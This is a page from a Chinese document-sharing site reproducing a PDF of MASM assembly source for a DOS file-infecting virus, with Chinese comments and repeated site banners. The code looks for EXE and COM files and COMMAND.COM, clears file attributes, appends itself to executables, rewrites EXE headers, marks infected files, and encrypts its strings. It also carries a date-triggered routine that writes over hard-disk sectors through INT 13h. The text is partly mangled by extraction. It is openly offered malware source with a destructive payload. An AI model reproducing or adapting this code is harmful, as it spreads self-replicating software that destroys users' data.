计算机病毒可以用汇编写吗,用汇编语言写一个简单病毒程序源代码.pdf

上传人:赵** 文档编号:69182851 上传时间:2022-12-31 格式:PDF 页数:8 大小:191.47KB
返回 下载 相关 举报
计算机病毒可以用汇编写吗,用汇编语言写一个简单病毒程序源代码.pdf_第1页
第1页 / 共8页
计算机病毒可以用汇编写吗,用汇编语言写一个简单病毒程序源代码.pdf_第2页
第2页 / 共8页
点击查看更多>>
资源描述

《计算机病毒可以用汇编写吗,用汇编语言写一个简单病毒程序源代码.pdf》由会员分享,可在线阅读,更多相关《计算机病毒可以用汇编写吗,用汇编语言写一个简单病毒程序源代码.pdf(8页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。

1、欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!计算机病毒可以汇编写吗,汇编语写个简单病毒程序源代码;感染对象:DOS 的 EXE COM 件;编译具:MASM 6.0,MASM 6.11CODE SEGMENTassume cs:code.386org 100hstart:mov cs:oldsp,sp;保存原程序的堆栈指针mov cs:oldss,ss;mov sp,stack_endmov ax,cs;设置新的堆栈指针mov ss,ax;push ds;保存原 ds espush es;mov ds,axmov es,axsub ax,old

2、seg;算出原程序的push ax;并保存栈push oldip;call setfile;程序的核部分pop cs:oldip;取回原程序的pop cs:oldseg;pop es;恢复原 es dspop ds;mov sp,cs:oldss;恢复原 ss,spmov ss,sp;mov sp,cs:oldsp;push oldseg;跳回原程序点push oldip;retf;db 09ah欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!getdate proc near;这个函数是取得时间是否是星期是则破坏硬盘数据mov ax,0ec32h

3、;写要执的代码 int 13hnot ax;到 dest1 位置mov si,des1;这既加密代码mov word ptr si,ax;mov ah,2ahint 21hcmp al,2jnz gd_conmov ax,312hmov cx,1mov dx,80hdes1:db 0ebhdb 32retgd_con:retgetdate endpsetfile1 proc nearcall findfirstsf_con:jc sf_backcall modifycall findnextjmp sf_consf_back:retsetfile1 endpsetdata proc nearp

4、ush sipush dipush cxpush ax欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!pushfmov si,offset normal1mov di,simov cx,23haaa2:lodsbnot axstosbloop aaa2popfpop axpop cxpop dipop siretsetdata endpsetfile proc nearcmp ax,127h;没有作只是挠jnz aaa1;ax 不可能等于 127hcall dword ptr oldsp;ret;db 0e8h;aaa:call getdatere

5、taaa1:mov ah,01ah;设置磁盘传输地址mov dx,offset dta;于 findfirstint 21h;call setdata;数据解密push aaamov dx,offset normal1;找*.exemov ax,offset dtaadd ax,01ehmov fs,ax;fs 于传递件名的地址欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!call setfile1;传染件mov dx,offset normal2;找*.comcall setfile1mov dx,offset bootcmd;找 c:mov

6、fs,dxcall setfile1mov dx,offset bootcmd1;找 c:mov si,dx;mov word ptr si,:C;mov fs,dx;call setfile1;retsetfile endpdb 09ahfindfirst proc nearmov ax,04e27hint 21hretfindfirst endpfindnext proc nearmov ah,04fhint 21hretfindnext endpmodify proc near;修改并感染程序mov si,offset sbuffer;可执的件头的地址mov di,offset dta;

7、件信息的地址cmp dword ptr di+01ah,1000;若件于 1K 或 于 1M 不感染jb fn_ret;cmp dword ptr di+01ah,0ffcffh;jae fn_ret;mov dx,fsmov ax,4300h;保存原件属性int 21h;再改为没有属性欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!push cx;mov ax,4301hxor cx,cxint 21hmov ax,03d02h;打开件int 21h;jc fn_ret3;mov bx,ax;读件头mov ah,03fh;mov cx,1ch;m

8、ov dx,offset sbuffer;int 21h;cmp word ptr si,ZM;如不是可执件就不感染jnz fn_ret1;mov ax,word ptr si+014h;保存原程序mov oldip,ax;mov ax,word ptr si+016h;mov oldseg,axmov ax,4200h;检查是否已经被我感染过mov cx,word ptr di+1ch;mov dx,word ptr di+1ah;sub dx,2;int 21h;mov ah,3fh;mov cx,2;mov dx,offset temp;int 21hcmp word ptr temp,

9、0dcd6h;若已经被感染就返回jz fn_ret1;mov eax,dword ptr di+01ah;得到件的总长mov cx,0fhand cx,ax;算出感染后的点mov fill,010h;sub fill,cx;欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!movzx ecx,fill;add eax,ecx;sub eax,100hshr eax,4mov cx,word ptr si+8sub ax,cxmov word ptr si+14h,100hmov word ptr si+16h,axsub ax,oldsegmov o

10、ldseg,axmov ax,4202h;把本病毒写件尾xor cx,cx;xor dx,dx;int 21hcall setdatamov ah,40hmov cx,offset theendmov dx,offset startsub dx,fillsub cx,dxint 21hcall setdatajc fn_ret1mov ax,4202h;算出加载程序的长度xor cx,cx;xor dx,dx;int 21hmov cx,200hdiv cxinc axmov word ptr si+2,dxmov word ptr si+4,axmov ax,4200h;改写件头xor cx

11、,cx欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!xor dx,dxint 21hmov ah,40hmov dx,simov cx,1chint 21hfn_ret1:mov ah,03eh;关闭件int 21h;fn_ret3:pop cx;恢复原件属性mov ax,4301h;mov dx,gsint 21hfn_ret:retmodify endpoldip word 0oldseg word 0;=not 换算过的数据=normal1 db 0d5h,0d1h,09ah,087h,09ah,0ffh;*.EXEnormal2 db 0

12、d5h,0d1h,09ch,090h,092h,0ffh;*.COMbootcmd db 0bch,0c5h,0a3h,0a8h,0b6h,0b1h,0bbh,0b0h;C:WINDObootcmd1 db 0a8h,0ach,0a3h,0bch,0b0h,0b2h,0b2h,0beh;WSCOMMAND.COMdb 0b1h,0bbh,0d1h,0bch,0b0h,0b2h,0ffhfl word 0dcd6htheend:oldsp word 0oldss word 0temp word 0temp1 word 0dta db 02bh dup(0)fill word 0sbuffer db 1dh dup(0)欢迎您阅读并下载本文档,本文档来源于互联网,如有侵权请联系删除!我们将竭诚为您提供优质的文档!stack_start db 40h dup(0)stack_end:code endsend start

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 教育专区 > 高考资料

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知淘文阁网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号© 2020-2023 www.taowenge.com 淘文阁